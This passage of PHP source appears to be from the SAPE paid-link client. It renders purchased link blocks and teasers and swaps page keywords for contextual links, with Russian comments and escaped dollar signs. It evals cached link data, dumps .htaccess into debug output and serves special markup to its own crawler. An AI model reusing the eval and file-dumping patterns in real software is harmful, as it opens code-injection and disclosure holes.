                if (!isset(\$options['nof_links_displayed'])) {
                    \$options['nof_links_displayed'] = 0;
                }
                if (!isset(\$options['nof_obligatory'])) {
                    \$options['nof_obligatory'] = 0;
                }
                if (!isset(\$options['nof_conditional'])) {
                    \$options['nof_conditional'] = 0;
                }

                \$html = '<sape_block nof_req="' . \$options['nof_links_requested'] .
                    '" nof_displ="' . \$options['nof_links_displayed'] .
                    '" nof_oblig="' . \$options['nof_obligatory'] .
                    '" nof_cond="' . \$options['nof_conditional'] .
                    '">' . \$html .
                    '</sape_block>';
            }
        }

        return \$html;
    }

    /**
     * Финальная обработка html перед выводом ссылок
     *
     * @param string \$html
     *
     * @return string
     */
    protected function _return_html(\$html)
    {
        if (false == \$this->_show_counter_separately) {
            \$html = \$this->_return_obligatory_page_content() . \$html;
        }

        return \$this->_add_debug_info(\$html);
    }

    protected function _add_debug_info(\$html)
    {
        if (\$this->_debug) {
            if (!empty(\$this->_links['__sape_teaser_images_path__'])) {
                \$this->_add_file_content_for_debug(\$this->_links['__sape_teaser_images_path__']);
            }
            \$this->_add_file_content_for_debug('.htaccess');

            \$html .= \$this->_debug_output(\$this);
        }

        return \$html;
    }

    protected function _add_file_content_for_debug(\$file_name)
    {
        \$path                                               = realpath(
            rtrim(\$_SERVER['DOCUMENT_ROOT'], DIRECTORY_SEPARATOR)
            . DIRECTORY_SEPARATOR
            . strtok(\$file_name, '?')
        );
        \$this->_file_contents_for_debug[\$file_name]['path'] = \$path;
        if (\$path) {
            \$this->_file_contents_for_debug[\$file_name]['contents'] = @file_get_contents(\$path);
        }
    }

    /**
     * Eсли запрошена определенная кодировка, и известна кодировка кеша, и они разные, конвертируем в заданную
     */
    protected function _convertCharset(\$html)
    {
        if (strlen(\$this->_charset) > 0
            && strlen(\$this->_sape_charset) > 0
            && \$this->_sape_charset != \$this->_charset
            && function_exists('iconv')
        ) {
            \$new_html = @iconv(\$this->_sape_charset, \$this->_charset, \$html);
            if (\$new_html) {
                \$html = \$new_html;
            }
        }

        return \$html;
    }

    /**
     * Вывод ссылок в виде блока
     *
     * - Примечание: начиная с версии 1.2.2 второй аргумент \$offset убран. Если
     * передавать его согласно старой сигнатуре, то он будет проигнорирован.
     *
     * @param int   \$n       Количество ссылок, которые нужно вывести в текущем блоке
     * @param array \$options Опции
     *
     * <code>
     * \$options = array();
     * \$options['block_no_css'] = (false|true);
     * // Переопределяет запрет на вывод css в коде страницы: false - выводить css
     * \$options['block_orientation'] = (1|0);
     * // Переопределяет ориентацию блока: 1 - горизонтальная, 0 - вертикальная
     * \$options['block_width'] = ('auto'|'[?]px'|'[?]%'|'[?]');
     * // Переопределяет ширину блока:
     * // 'auto'  - определяется шириной блока-предка с фиксированной шириной,
     * // если такового нет, то займет всю ширину
     * // '[?]px' - значение в пикселях
     * // '[?]%'  - значение в процентах от ширины блока-предка с фиксированной шириной
     * // '[?]'   - любое другое значение, которое поддерживается спецификацией CSS
     * </code>
     *
     * @see return_links()
     * @see return_counter()
     *
     * @return string
     */
    public function return_block_links(\$n = null, \$options = null)
    {

        \$numargs = func_num_args();
        \$args    = func_get_args();

        //Проверяем аргументы для старой сигнатуры вызова
        if (2 == \$numargs) {           // return_links(\$n, \$options)
            if (!is_array(\$args[1])) { // return_links(\$n, \$offset) - deprecated!
                \$options = null;
            }
        } elseif (2 < \$numargs) { // return_links(\$n, \$offset, \$options) - deprecated!

            if (!is_array(\$options)) {
                \$options = \$args[2];
            }
        }

        // Объединить параметры
        if (empty(\$options)) {
            \$options = array();
        }

        \$defaults                      = array();
        \$defaults['block_no_css']      = false;
        \$defaults['block_orientation'] = 1;
        \$defaults['block_width']       = '';

        \$ext_options = array();
        if (isset(\$this->_block_tpl_options) && is_array(\$this->_block_tpl_options)) {
            \$ext_options = \$this->_block_tpl_options;
        }

        \$options = array_merge(\$defaults, \$ext_options, \$options);

        // Ссылки переданы не массивом (чек-код) => выводим как есть + инфо о блоке
        if (!is_array(\$this->_links_page)) {
            \$html = \$this->_return_array_links_html('', array('is_block_links' => true));

            return \$this->_return_html(\$this->_links_page . \$html);
        } // Не переданы шаблоны => нельзя вывести блоком - ничего не делать
        elseif (!isset(\$this->_block_tpl)) {
            return \$this->_return_html('');
        }

        // Определим нужное число элементов в блоке

        \$total_page_links = count(\$this->_links_page);

        \$need_show_obligatory_block  = false;
        \$need_show_conditional_block = false;
        \$n_requested                 = 0;

        if (isset(\$this->_block_ins_itemobligatory)) {
            \$need_show_obligatory_block = true;
        }

        if (is_numeric(\$n) && \$n >= \$total_page_links) {

            \$n_requested = \$n;

            if (isset(\$this->_block_ins_itemconditional)) {
                \$need_show_conditional_block = true;
            }
        }

        if (!is_numeric(\$n) || \$n > \$total_page_links) {
            \$n = \$total_page_links;
        }

        // Выборка ссылок
        \$links = array();
        for (\$i = 1; \$i <= \$n; \$i++) {
            \$links[] = array_shift(\$this->_links_page);
        }

        \$html = '';

        // Подсчет числа опциональных блоков
        \$nof_conditional = 0;
        if (count(\$links) < \$n_requested && true == \$need_show_conditional_block) {
            \$nof_conditional = \$n_requested - count(\$links);
        }

        //Если нет ссылок и нет вставных блоков, то ничего не выводим
        if (empty(\$links) && \$need_show_obligatory_block == false && \$nof_conditional == 0) {

            \$return_links_options = array(
                'is_block_links'      => true,
                'nof_links_requested' => \$n_requested,
                'nof_links_displayed' => 0,
                'nof_obligatory'      => 0,
                'nof_conditional'     => 0
            );

            \$html = \$this->_return_array_links_html(\$html, \$return_links_options);

            return \$this->_return_html(\$html);
        }

        // Делаем вывод стилей, только один раз. Или не выводим их вообще, если так задано в параметрах
        \$s_globals = new SAPE_globals();
        if (!\$s_globals->block_css_shown() && false == \$options['block_no_css']) {
            \$html .= \$this->_block_tpl['css'];
            \$s_globals->block_css_shown(true);
        }

        // Вставной блок в начале всех блоков
        if (isset(\$this->_block_ins_beforeall) && !\$s_globals->block_ins_beforeall_shown()) {
            \$html .= \$this->_block_ins_beforeall;
            \$s_globals->block_ins_beforeall_shown(true);
        }
        unset(\$s_globals);

        // Вставной блок в начале блока
        if (isset(\$this->_block_ins_beforeblock)) {
            \$html .= \$this->_block_ins_beforeblock;
        }

        // Получаем шаблоны в зависимости от ориентации блока
        \$block_tpl_parts = \$this->_block_tpl[\$options['block_orientation']];

        \$block_tpl          = \$block_tpl_parts['block'];
        \$item_tpl           = \$block_tpl_parts['item'];
        \$item_container_tpl = \$block_tpl_parts['item_container'];
        \$item_tpl_full      = str_replace('{item}', \$item_tpl, \$item_container_tpl);
        \$items              = '';

        \$nof_items_total = count(\$links);
        foreach (\$links as \$link) {

            // Обычная красивая ссылка
            \$is_found = preg_match('#<a href="(https?://([^"/]+)[^"]*)"[^>]*>[\s]*([^<]+)</a>#i', \$link, \$link_item);
            // Картиночкая красивая ссылка
            if (!\$is_found) {
                preg_match('#<a href="(https?://([^"/]+)[^"]*)"[^>]*><img.*?alt="(.*?)".*?></a>#i', \$link, \$link_item);
            }

            if (function_exists('mb_strtoupper') && strlen(\$this->_sape_charset) > 0) {
                \$header_rest         = mb_substr(\$link_item[3], 1, mb_strlen(\$link_item[3], \$this->_sape_charset) - 1, \$this->_sape_charset);
                \$header_first_letter = mb_strtoupper(mb_substr(\$link_item[3], 0, 1, \$this->_sape_charset), \$this->_sape_charset);
                \$link_item[3]        = \$header_first_letter . \$header_rest;
            } elseif (function_exists('ucfirst') && (strlen(\$this->_sape_charset) == 0 || strpos(\$this->_sape_charset, '1251') !== false)) {
                \$link_item[3][0] = ucfirst(\$link_item[3][0]);
            }

            // Если есть раскодированный URL, то заменить его при выводе
            if (isset(\$this->_block_uri_idna) && isset(\$this->_block_uri_idna[\$link_item[2]])) {
                \$link_item[2] = \$this->_block_uri_idna[\$link_item[2]];
            }

            \$item = \$item_tpl_full;
            \$item = str_replace('{header}', \$link_item[3], \$item);
            \$item = str_replace('{text}', trim(\$link), \$item);
            \$item = str_replace('{url}', \$link_item[2], \$item);
            \$item = str_replace('{link}', \$link_item[1], \$item);
            \$items .= \$item;
        }

        // Вставной обязатльный элемент в блоке
        if (true == \$need_show_obligatory_block) {
            \$items .= str_replace('{item}', \$this->_block_ins_itemobligatory, \$item_container_tpl);
            \$nof_items_total += 1;
        }

        // Вставные опциональные элементы в блоке
        if (\$need_show_conditional_block == true && \$nof_conditional > 0) {
            for (\$i = 0; \$i < \$nof_conditional; \$i++) {
                \$items .= str_replace('{item}', \$this->_block_ins_itemconditional, \$item_container_tpl);
            }
            \$nof_items_total += \$nof_conditional;
        }

        if (\$items != '') {
            \$html .= str_replace('{items}', \$items, \$block_tpl);

            // Проставляем ширину, чтобы везде одинковая была
            if (\$nof_items_total > 0) {
                \$html = str_replace('{td_width}', round(100 / \$nof_items_total), \$html);
            } else {
                \$html = str_replace('{td_width}', 0, \$html);
            }

            // Если задано, то переопределить ширину блока
            if (isset(\$options['block_width']) && !empty(\$options['block_width'])) {
                \$html = str_replace('{block_style_custom}', 'style="width: ' . \$options['block_width'] . '!important;"', \$html);
            }
        }

        unset(\$block_tpl_parts, \$block_tpl, \$items, \$item, \$item_tpl, \$item_container_tpl);

        // Вставной блок в конце блока
        if (isset(\$this->_block_ins_afterblock)) {
            \$html .= \$this->_block_ins_afterblock;
        }

        //Заполняем оставшиеся модификаторы значениями
        unset(\$options['block_no_css'], \$options['block_orientation'], \$options['block_width']);

        \$tpl_modifiers = array_keys(\$options);
        foreach (\$tpl_modifiers as \$k => \$m) {
            \$tpl_modifiers[\$k] = '{' . \$m . '}';
        }
        unset(\$m, \$k);

        \$tpl_modifiers_values = array_values(\$options);

        \$html = str_replace(\$tpl_modifiers, \$tpl_modifiers_values, \$html);
        unset(\$tpl_modifiers, \$tpl_modifiers_values);

        //Очищаем незаполненные модификаторы
        \$clear_modifiers_regexp = '#\{[a-z\d_\-]+\}#';
        \$html                   = preg_replace(\$clear_modifiers_regexp, ' ', \$html);

        \$return_links_options = array(
            'is_block_links'      => true,
            'nof_links_requested' => \$n_requested,
            'nof_links_displayed' => \$n,
            'nof_obligatory'      => (\$need_show_obligatory_block == true ? 1 : 0),
            'nof_conditional'     => \$nof_conditional
        );

        \$html = \$this->_return_array_links_html(\$html, \$return_links_options);

        return \$this->_return_html(\$html);
    }

    /**
     * Вывод ссылок в обычном виде - текст с разделителем
     *
     * - Примечание: начиная с версии 1.2.2 второй аргумент \$offset убран. Если
     * передавать его согласно старой сигнатуре, то он будет проигнорирован.
     *
     * @param int   \$n       Количество ссылок, которые нужно вывести
     * @param array \$options Опции
     *
     * <code>
     * \$options = array();
     * \$options['as_block'] = (false|true);
     * // Показывать ли ссылки в виде блока
     * </code>
     *
     * @see return_block_links()
     * @see return_counter()
     *
     * @return string
     */
    public function return_links(\$n = null, \$options = null)
    {

        if (\$this->_debug) {
            if (function_exists('debug_backtrace')) {
                \$this->_return_links_calls[] = debug_backtrace();
            } else {
                \$this->_return_links_calls = "(function_exists('debug_backtrace')==false";
            }
        }

        \$numargs = func_num_args();
        \$args    = func_get_args();

        //Проверяем аргументы для старой сигнатуры вызова
        if (2 == \$numargs) {           // return_links(\$n, \$options)
            if (!is_array(\$args[1])) { // return_links(\$n, \$offset) - deprecated!
                \$options = null;
            }
        } elseif (2 < \$numargs) {        // return_links(\$n, \$offset, \$options) - deprecated!

            if (!is_array(\$options)) {
                \$options = \$args[2];
            }
        }

        //Опрелелить, как выводить ссылки
        \$as_block = \$this->_show_only_block;

        if (is_array(\$options) && isset(\$options['as_block']) && false == \$as_block) {
            \$as_block = \$options['as_block'];
        }

        if (true == \$as_block && isset(\$this->_block_tpl)) {
            return \$this->return_block_links(\$n, \$options);
        }

        //-------

        if (is_array(\$this->_links_page)) {

            \$total_page_links = count(\$this->_links_page);

            if (!is_numeric(\$n) || \$n > \$total_page_links) {
                \$n = \$total_page_links;
            }

            \$links = array();

            for (\$i = 1; \$i <= \$n; \$i++) {
                \$links[] = array_shift(\$this->_links_page);
            }

            \$html = \$this->_convertCharset(join(\$this->_links_delimiter, \$links));

            if (\$this->_is_our_bot) {
                \$html = '<sape_noindex>' . \$html . '</sape_noindex>';
            }
        } else {
            \$html = \$this->_links_page;
            if (\$this->_is_our_bot) {
                \$html .= '<sape_noindex></sape_noindex>';
            }
        }

        \$html = \$this->_return_html(\$html);

        return \$html;
    }

    public function return_teasers_block(\$block_id)
    {
        if (\$this->_debug) {
            if (function_exists('debug_backtrace')) {
                \$this->_return_links_calls[] = debug_backtrace();
            } else {
                \$this->_return_links_calls = "(function_exists('debug_backtrace')==false";
            }
        }

        \$html     = '';
        \$template = @\$this->_links['__sape_teasers_templates__'][\$block_id];

        if (count(\$this->_teasers_page) && false == empty(\$template)) {

            if (count(\$this->_teasers_page) < \$template['n']) {
                \$teasers             = \$this->_teasers_page;
                \$to_add              = \$template['n'] - count(\$this->_teasers_page);
                \$this->_teasers_page = array();
            } else {
                \$teasers             = array_slice(\$this->_teasers_page, 0, \$template['n']);
                \$to_add              = 0;
                \$this->_teasers_page = array_slice(\$this->_teasers_page, \$template['n']);
            }

            foreach (\$teasers as \$k => \$v) {
                preg_match('#href="(https?://([^"/]+)[^"]*)"#i', \$v, \$url);
                \$url         = empty(\$url[1]) ? '' : \$url[1];
                \$teasers[\$k] = str_replace('{u}', \$url, \$template['bi'] . \$v . \$template['ai']);
            }

            if (\$to_add) {
                \$teasers = array_merge(\$teasers, array_fill(\$template['n'], \$to_add, \$template['e']));
            }

            \$html = \$this->_convertCharset(
                (\$this->_teasers_css_showed ? '' : \$this->_links['__sape_teasers_css__']) .
                str_replace('{i}', implode(\$template['d'], \$teasers), \$template['t'])
            );

            \$this->_teasers_css_showed = true;
        } else {
            if (\$this->_is_our_bot || \$this->_force_show_code) {
                \$html = \$this->_links['__sape_new_teasers_block__'] . '<!-- ' . \$block_id . ' -->';
            }
            if (!empty(\$template)) {
                \$html .= str_replace('{id}', \$block_id, \$template['f']);
            } else {
                \$this->_raise_error("Нет информации по блоку \$block_id, обратитесь в службу поддержки");
            }
        }

        if (\$this->_is_our_bot) {
            \$html = '<sape_noindex>' . \$html . '</sape_noindex>';
        }

        return \$this->_add_debug_info(\$this->_return_obligatory_page_content() . \$html);
    }

    public function show_image(\$file_name = null)
    {
        if (\$this->_debug) {
            if (function_exists('debug_backtrace')) {
                \$this->_return_links_calls[] = debug_backtrace();
            } else {
                \$this->_return_links_calls = "(function_exists('debug_backtrace')==false";
            }
            echo \$this->_add_debug_info('');
        }

        \$file_name = \$file_name ? \$file_name : parse_url(\$this->_request_uri, PHP_URL_QUERY);

        if (!array_key_exists('__sape_teaser_images__', \$this->_links) || !array_key_exists(\$file_name, \$this->_links['__sape_teaser_images__'])) {
            \$this->_raise_error("Нет файла изображения с именем '\$file_name'");
            header("HTTP/1.0 404 Not Found");
        } else {
            \$extension = pathinfo(strtolower(\$file_name), PATHINFO_EXTENSION);
            if (\$extension == 'jpg') {
                \$extension = 'jpeg';
            }

            header('Content-Type: image/' . \$extension);
            header('Content-Length: ' . strlen(\$this->_links['__sape_teaser_images__'][\$file_name]));
            header('Cache-control: public, max-age=604800'); //1 week

            echo \$this->_links['__sape_teaser_images__'][\$file_name];
        }
    }

    protected function _get_db_file()
    {
        if (\$this->_multi_site) {
            return dirname(__FILE__) . '/' . \$this->_host . '.links' . \$this->_get_save_filename_prefix() . '.db';
        } else {
            return dirname(__FILE__) . '/links' . \$this->_get_save_filename_prefix() . '.db';
        }
    }

    protected function _get_meta_file()
    {
        if (\$this->_multi_site) {
            return dirname(__FILE__) . '/' . \$this->_host . '.links.meta.db';
        } else {
            return dirname(__FILE__) . '/links.meta.db';
        }
    }

    protected function _get_dispenser_path()
    {
        return '/code.php?user=' . _SAPE_USER . '&host=' . \$this->_host;
    }

    protected function _set_data(\$data)
    {
        if (\$this->_ignore_case) {
            \$this->_links = array_change_key_case(\$data);
        } else {
            \$this->_links = \$data;
        }
        if (isset(\$this->_links['__sape_delimiter__'])) {
            \$this->_links_delimiter = \$this->_links['__sape_delimiter__'];
        }
        // определяем кодировку кеша
        if (isset(\$this->_links['__sape_charset__'])) {
            \$this->_sape_charset = \$this->_links['__sape_charset__'];
        } else {
            \$this->_sape_charset = '';
        }
        if (@array_key_exists(\$this->_request_uri, \$this->_links) && is_array(\$this->_links[\$this->_request_uri])) {
            \$this->_links_page = \$this->_links[\$this->_request_uri];
        } else {
            if (isset(\$this->_links['__sape_new_url__']) && strlen(\$this->_links['__sape_new_url__'])) {
                if (\$this->_is_our_bot || \$this->_force_show_code) {
                    \$this->_links_page = \$this->_links['__sape_new_url__'];
                }
            }
        }

        if (@array_key_exists(\$this->_request_uri, \$this->_links['__sape_teasers__']) && is_array(\$this->_links['__sape_teasers__'][\$this->_request_uri])) {
            \$this->_teasers_page = \$this->_links['__sape_teasers__'][\$this->_request_uri];
        }

        //Есть ли обязательный вывод
        if (isset(\$this->_links['__sape_page_obligatory_output__'])) {
            if (\$this->_teasers_rtb_proxy !== null) {
                \$this->_page_obligatory_output = \$this->_teasers_rtb_proxy->return_script();
            } else {
                \$this->_page_obligatory_output = \$this->_links['__sape_page_obligatory_output__'];
            }
        }

        // Есть ли флаг блочных ссылок
        if (isset(\$this->_links['__sape_show_only_block__'])) {
            \$this->_show_only_block = \$this->_links['__sape_show_only_block__'];
        } else {
            \$this->_show_only_block = false;
        }

        // Есть ли шаблон для красивых ссылок
        if (isset(\$this->_links['__sape_block_tpl__']) && !empty(\$this->_links['__sape_block_tpl__'])
            && is_array(\$this->_links['__sape_block_tpl__'])
        ) {
            \$this->_block_tpl = \$this->_links['__sape_block_tpl__'];
        }

        // Есть ли параметры для красивых ссылок
        if (isset(\$this->_links['__sape_block_tpl_options__']) && !empty(\$this->_links['__sape_block_tpl_options__'])
            && is_array(\$this->_links['__sape_block_tpl_options__'])
        ) {
            \$this->_block_tpl_options = \$this->_links['__sape_block_tpl_options__'];
        }

        // IDNA-домены
        if (isset(\$this->_links['__sape_block_uri_idna__']) && !empty(\$this->_links['__sape_block_uri_idna__'])
            && is_array(\$this->_links['__sape_block_uri_idna__'])
        ) {
            \$this->_block_uri_idna = \$this->_links['__sape_block_uri_idna__'];
        }

        // Блоки
        \$check_blocks = array(
            'beforeall',
            'beforeblock',
            'afterblock',
            'itemobligatory',
            'itemconditional',
            'afterall'
        );

        foreach (\$check_blocks as \$block_name) {

            \$var_name  = '__sape_block_ins_' . \$block_name . '__';
            \$prop_name = '_block_ins_' . \$block_name;

            if (isset(\$this->_links[\$var_name]) && strlen(\$this->_links[\$var_name]) > 0) {
                \$this->\$prop_name = \$this->_links[\$var_name];
            }
        }
    }

    protected function _uncode_data(\$data)
    {
        if (\$this->_format == 'php-require') {
            \$data1 = str_replace('<?php return ', '', \$data);
            eval('\$data = ' . \$data1 . ';');
            return \$data;
        }

        return @unserialize(\$data);
    }

    protected function _code_data(\$data)
    {
        if (\$this->_format == 'php-require') {
            return var_export(\$data, true);
        }

        return @serialize(\$data);
    }

    protected function _save_data(\$data, \$filename = '')
    {
        if (\$this->_split_data_file) {
            \$directory = dirname(__FILE__) . '/';
            \$hashArray = array();
            \$data = \$this->_uncode_data(\$data);
            foreach (\$data as \$url => \$item) {
                if (preg_match('/\_\_.+\_\_/mu', \$url)) {
                    \$currentFile = 'links.meta.db';
                } else {
                    \$currentFile = 'links.' . crc32(\$url) % 100 . '.db';
                }
                if (\$this->_multi_site) {
                    \$currentFile = \$this->_host . '.' . \$currentFile;
                }
                \$hashArray[\$currentFile][\$url] = \$item;
            }
            foreach (\$hashArray as \$file => \$array) {
                \$this->_write(\$directory . \$file, \$this->_code_data(\$array));
            }
            if (!isset(\$hashArray[basename(\$filename)])) {
                parent::_save_data('', \$filename);
            }
        } else {
            parent::_save_data(\$data, \$filename);
        }
    }
}

/**
 * Класс для работы с контекстными ссылками
 */
class SAPE_context extends SAPE_base
{

    protected \$_words       = array();
    protected \$_words_page  = array();
    protected \$_user_agent  = 'SAPE_Context PHP';
    protected \$_filter_tags = array('a', 'textarea', 'select', 'script', 'style', 'label', 'noscript', 'noindex', 'button');

    protected \$_debug_actions = array();

    public function __construct(\$options = null)
    {
        parent::__construct(\$options);
        \$this->_load_data();
    }

    /**
     * Начать сбор дебаг-информации
     */
    protected function _debug_action_start()
    {
        if (!\$this->_debug) {
            return;
        }

        \$this->_debug_actions   = array();
        \$this->_debug_actions[] = \$this->_get_full_user_agent_string();
    }

    /**
     * Записать строку дебаг-информацию
     *
     * @param        \$data
     * @param string \$key
     */
    protected function _debug_action_append(\$data, \$key = '')
    {
        if (!\$this->_debug) {
            return;
        }

        if (!empty(\$key)) {
            \$this->_debug_actions[] = array(\$key => \$data);
        } else {
            \$this->_debug_actions[] = \$data;
        }
    }

    /**
     * Вывод дебаг-информации
     *
     * @return string
     */
    protected function _debug_action_output()
    {

        if (!\$this->_debug || empty(\$this->_debug_actions)) {
            return '';
        }

        \$debug_info = \$this->_debug_output(\$this->_debug_actions);

        \$this->_debug_actions = array();

        return \$debug_info;
    }

    /**
     * Замена слов в куске текста и обрамляет его тегами sape_index
     */
    public function replace_in_text_segment(\$text)
    {

        \$this->_debug_action_start();
        \$this->_debug_action_append('START: replace_in_text_segment()');
        \$this->_debug_action_append(\$text, 'argument for replace_in_text_segment');

        if (count(\$this->_words_page) > 0) {

            \$source_sentences = array();

            //Создаем массив исходных текстов для замены
            foreach (\$this->_words_page as \$n => \$sentence) {
                //Заменяем все сущности на символы
                \$special_chars = array(
                    '&amp;'  => '&',
                    '&quot;' => '"',
                    '&#039;' => '\'',
                    '&lt;'   => '<',
                    '&gt;'   => '>'
                );
                \$sentence      = strip_tags(\$sentence);
                \$sentence      = strip_tags(\$sentence);
                \$sentence      = str_replace(array_keys(\$special_chars), array_values(\$special_chars), \$sentence);

                //Преобразуем все спец символы в сущности
                \$htsc_charset = empty(\$this->_charset) ? 'windows-1251' : \$this->_charset;
                \$quote_style  = ENT_COMPAT;
                if (version_compare(PHP_VERSION, '5.4.0') >= 0) {
                    \$quote_style = ENT_COMPAT | ENT_HTML401;
                }

                \$sentence = htmlspecialchars(\$sentence, \$quote_style, \$htsc_charset);

                //Квотируем
                \$sentence      = preg_quote(\$sentence, '/');
                \$replace_array = array();
                if (preg_match_all('/(&[#a-zA-Z0-9]{2,6};)/isU', \$sentence, \$out)) {
                    for (\$i = 0; \$i < count(\$out[1]); \$i++) {
                        \$unspec                 = \$special_chars[\$out[1][\$i]];
                        \$real                   = \$out[1][\$i];
                        \$replace_array[\$unspec] = \$real;
                    }
                }
                //Заменяем сущности на ИЛИ (сущность|символ)
                foreach (\$replace_array as \$unspec => \$real) {
                    \$sentence = str_replace(\$real, '((' . \$real . ')|(' . \$unspec . '))', \$sentence);
                }
                //Заменяем пробелы на переносы или сущности пробелов
                \$source_sentences[\$n] = str_replace(' ', '((\s)|(&nbsp;))+', \$sentence);
            }

            \$this->_debug_action_append(\$source_sentences, 'sentences for replace');

            //если это первый кусок, то не будем добавлять <
            \$first_part = true;
            //пустая переменная для записи

            if (count(\$source_sentences) > 0) {

                \$content   = '';
                \$open_tags = array(); //Открытые забаненые тэги
                \$close_tag = ''; //Название текущего закрывающего тэга

                //Разбиваем по символу начала тега
                \$part = strtok(' ' . \$text, '<');

                while (\$part !== false) {
                    //Определяем название тэга
                    if (preg_match('/(?si)^(\/?[a-z0-9]+)/', \$part, \$matches)) {
                        //Определяем название тега
                        \$tag_name = strtolower(\$matches[1]);
                        //Определяем закрывающий ли тэг
                        if (substr(\$tag_name, 0, 1) == '/') {
                            \$close_tag = substr(\$tag_name, 1);
                            \$this->_debug_action_append(\$close_tag, 'close tag');
                        } else {
                            \$close_tag = '';
                            \$this->_debug_action_append(\$tag_name, 'open tag');
                        }
                        \$cnt_tags = count(\$open_tags);
                        //Если закрывающий тег совпадает с тегом в стеке открытых запрещенных тегов
                        if ((\$cnt_tags > 0) && (\$open_tags[\$cnt_tags - 1] == \$close_tag)) {
                            array_pop(\$open_tags);

                            \$this->_debug_action_append(\$tag_name, 'deleted from open_tags');

                            if (\$cnt_tags - 1 == 0) {
                                \$this->_debug_action_append('start replacement');
                            }
                        }

                        //Если нет открытых плохих тегов, то обрабатываем
                        if (count(\$open_tags) == 0) {
                            //если не запрещенный тэг, то начинаем обработку
                            if (!in_array(\$tag_name, \$this->_filter_tags)) {
                                \$split_parts = explode('>', \$part, 2);
                                //Перестраховываемся
                                if (count(\$split_parts) == 2) {
                                    //Начинаем перебор фраз для замены
                                    foreach (\$source_sentences as \$n => \$sentence) {
                                        if (preg_match('/' . \$sentence . '/', \$split_parts[1]) == 1) {
                                            \$split_parts[1] = preg_replace('/' . \$sentence . '/', str_replace('\$', '\\$', \$this->_words_page[\$n]), \$split_parts[1], 1);

                                            \$this->_debug_action_append(\$sentence . ' --- ' . \$this->_words_page[\$n], 'replaced');

                                            //Если заменили, то удаляем строчку из списка замены
                                            unset(\$source_sentences[\$n]);
                                            unset(\$this->_words_page[\$n]);
                                        }
                                    }
                                    \$part = \$split_parts[0] . '>' . \$split_parts[1];
                                    unset(\$split_parts);
                                }
                            } else {
                                //Если у нас запрещеный тэг, то помещаем его в стек открытых
                                \$open_tags[] = \$tag_name;

                                \$this->_debug_action_append(\$tag_name, 'added to open_tags, stop replacement');
                            }
                        }
                    } elseif (count(\$open_tags) == 0) {
                        //Если нет названия тега, то считаем, что перед нами текст
                        foreach (\$source_sentences as \$n => \$sentence) {
                            if (preg_match('/' . \$sentence . '/', \$part) == 1) {
                                \$part = preg_replace('/' . \$sentence . '/', str_replace('\$', '\\$', \$this->_words_page[\$n]), \$part, 1);

                                \$this->_debug_action_append(\$sentence . ' --- ' . \$this->_words_page[\$n], 'replaced');

                                //Если заменили, то удаляем строчку из списка замены,
                                //чтобы было можно делать множественный вызов
                                unset(\$source_sentences[\$n]);
                                unset(\$this->_words_page[\$n]);
                            }
                        }
                    }

                    //Если это первая часть, то не выводим <
                    if (\$first_part) {
                        \$content .= \$part;
                        \$first_part = false;
                    } else {
                        \$content .= '<' . \$part;
                    }
                    //Получаем следующу часть
                    unset(\$part);
                    \$part = strtok('<');
                }
                \$text = ltrim(\$content);
                unset(\$content);
            }
        } else {
            \$this->_debug_action_append('No word\'s for page');
        }

        if (\$this->_is_our_bot || \$this->_force_show_code || \$this->_debug) {
            \$text = '<sape_index>' . \$text . '</sape_index>';
            if (isset(\$this->_words['__sape_new_url__']) && strlen(\$this->_words['__sape_new_url__'])) {
                \$text .= \$this->_words['__sape_new_url__'];
            }
        }

        if (count(\$this->_words_page) > 0) {
            \$this->_debug_action_append(\$this->_words_page, 'Not replaced');
        }

        \$this->_debug_action_append('END: replace_in_text_segment()');

        \$text .= \$this->_debug_action_output();

        return \$text;
    }

    /**
     * Замена слов
     */
    public function replace_in_page(\$buffer)
    {

        \$this->_debug_action_start();
        \$this->_debug_action_append('START: replace_in_page()');

        \$s_globals = new SAPE_globals();

        if (!\$s_globals->page_obligatory_output_shown()
            && isset(\$this->_page_obligatory_output)
            && !empty(\$this->_page_obligatory_output)
        ) {

            \$split_content = preg_split('/(?smi)(<\/?body[^>]*>)/', \$buffer, -1, PREG_SPLIT_DELIM_CAPTURE);
            if (count(\$split_content) == 5) {
                \$buffer = \$split_content[0] . \$split_content[1] . \$split_content[2]
                    . (false == \$this->_show_counter_separately ? \$this->_return_obligatory_page_content() : '')
                    . \$split_content[3] . \$split_content[4];
                unset(\$split_content);

                \$s_globals->page_obligatory_output_shown(true);
            }
        }

        if (count(\$this->_words_page) > 0) {
            //разбиваем строку по sape_index
            //Проверяем есть ли теги sape_index
            \$split_content = preg_split('/(?smi)(<\/?sape_index>)/', \$buffer, -1);
            \$cnt_parts     = count(\$split_content);
            if (\$cnt_parts > 1) {
                //Если есть хоть одна пара sape_index, то начинаем работу
                if (\$cnt_parts >= 3) {
                    for (\$i = 1; \$i < \$cnt_parts; \$i = \$i + 2) {
                        \$split_content[\$i] = \$this->replace_in_text_segment(\$split_content[\$i]);
                    }
                }
                \$buffer = implode('', \$split_content);

                \$this->_debug_action_append(\$cnt_parts, 'Split by Sape_index cnt_parts=');
            } else {
                //Если не нашли sape_index, то пробуем разбить по BODY
                \$split_content = preg_split('/(?smi)(<\/?body[^>]*>)/', \$buffer, -1, PREG_SPLIT_DELIM_CAPTURE);
                //Если нашли содержимое между body
                if (count(\$split_content) == 5) {
                    \$split_content[0] = \$split_content[0] . \$split_content[1];
                    \$split_content[1] = \$this->replace_in_text_segment(\$split_content[2]);
                    \$split_content[2] = \$split_content[3] . \$split_content[4];
                    unset(\$split_content[3]);
                    unset(\$split_content[4]);
                    \$buffer = \$split_content[0] . \$split_content[1] . \$split_content[2];

                    \$this->_debug_action_append('Split by BODY');
                } else {
                    //Если не нашли sape_index и не смогли разбить по body
                    \$this->_debug_action_append('Cannot split by BODY');
                }
            }
        } else {
            if (!\$this->_is_our_bot && !\$this->_force_show_code && !\$this->_debug) {
                \$buffer = preg_replace('/(?smi)(<\/?sape_index>)/', '', \$buffer);
            } else {
                if (isset(\$this->_words['__sape_new_url__']) && strlen(\$this->_words['__sape_new_url__'])) {
                    \$buffer .= \$this->_words['__sape_new_url__'];
                }
            }

            \$this->_debug_action_append('No word\'s for page');
        }

        \$this->_debug_action_append('STOP: replace_in_page()');
        \$buffer .= \$this->_debug_action_output();

        return \$buffer;
    }

    protected function _get_db_file()
    {
        if (\$this->_multi_site) {
            return dirname(__FILE__) . '/' . \$this->_host . '.words' . \$this->_get_save_filename_prefix() . '.db';
        } else {
            return dirname(__FILE__) . '/words' . \$this->_get_save_filename_prefix() . '.db';
        }
    }

    protected function _get_meta_file()
    {
        if (\$this->_multi_site) {
            return dirname(__FILE__) . '/' . \$this->_host . '.words.meta.db';
        } else {
